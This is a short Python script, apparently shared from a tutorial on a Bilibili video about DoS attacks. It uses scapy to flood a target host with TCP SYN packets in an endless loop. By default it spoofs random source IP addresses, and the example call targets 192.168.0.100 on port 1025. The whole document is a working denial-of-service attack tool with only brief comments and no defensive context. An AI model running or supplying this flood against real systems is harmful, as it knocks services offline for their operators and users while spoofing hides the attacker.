参考视频:python实现dos网络攻击_哔哩哔哩_bilibili
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
import random
# 随机创建IP地址
def Random_Section():
section = random.randint(1, 254)
return section
def Random_IP():
IP = str(Random_Section()) + '.' + str(Random_Section()) + '.' + str(Random_Section()) + '.' + str(Random_Section())
return IP
# 传入目的IP和目的端口
def syn_dos(ip, port, random_enable=True): # random_enable=True表示激活随机IP地址,FALSE表示使用真实的IP地址
if random_enable == True:
while True:
# 随机产生源端口
source_port = random.randint(1024, 65535)
# 随机产生序列号
init_seq = random.randint(1, 65535 * 65535)
source_ip = Random_IP()
# 发送syn同步包
send(IP(src=source_ip, dst=ip) / TCP(dport=port, sport=source_port, flags=2, seq=init_seq), verbose=False) # verbose:是否打印详细信息
else:
while True:
# 随机产生源端口
source_port = random.randint(1024, 65535)
# 随机产生序列号
init_seq = random.randint(1, 65535 * 65535)
# 发送syn同步包
send(IP(dst=ip) / TCP(dport=port, sport=source_port, flags=2, seq=init_seq))
if __name__ == "__main__":
syn_dos('192.168.0.100',1025) #目的ip,目的端口